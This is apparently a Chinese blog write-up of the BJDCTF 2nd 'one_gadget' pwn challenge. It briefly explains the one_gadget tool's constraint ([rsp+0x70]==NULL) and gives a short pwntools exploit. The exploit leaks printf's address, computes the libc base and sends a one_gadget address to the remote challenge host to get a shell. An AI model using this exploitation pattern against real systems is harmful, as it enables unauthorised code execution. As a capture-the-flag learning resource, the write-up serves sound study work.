[BJDCTF 2nd]one_gadget

妖狐艹你老母 2023-02-17 03:55 8阅读 0赞

![在这里插入图片描述][2020061211542959.png]

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]  
这里主要是用到了这个工具，但是这个工具的原理我还不了解，但是我调试了一下，最主要的是这个工具提供的shell需要满足它下面给的约束条件，对于这个题目而言要利用这个shell的条件就是`[rsp + 0x70] == NULL`  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 2]  
exp

from pwn import *
    
    context(log_level = 'debug')
    
    libc = ELF('./libc/libc-2.29.64.so')
    p = remote('node3.buuoj.cn', 25656)
    p.recvuntil('0x'.encode())
    printf_addr = int(p.recvn(12), 16)
    printf_offset = libc.sym['printf']
    libc_base = printf_addr - printf_offset
    
    execve_offset = 0x106ef8
    execve_addr = libc_base + execve_offset
    payload = str(execve_addr)
    p.sendline(payload)
    p.interactive()

![在这里插入图片描述][20200612131249841.png]

[2020061211542959.png]: https://img-blog.csdnimg.cn/2020061211542959.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70]: https://img-blog.csdnimg.cn/20200612122237483.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 1]: https://img-blog.csdnimg.cn/20200612124851731.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20200612131910152.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgzMzY0Mg==,size_16,color_FFFFFF,t_70
[20200612131249841.png]: https://img-blog.csdnimg.cn/20200612131249841.png#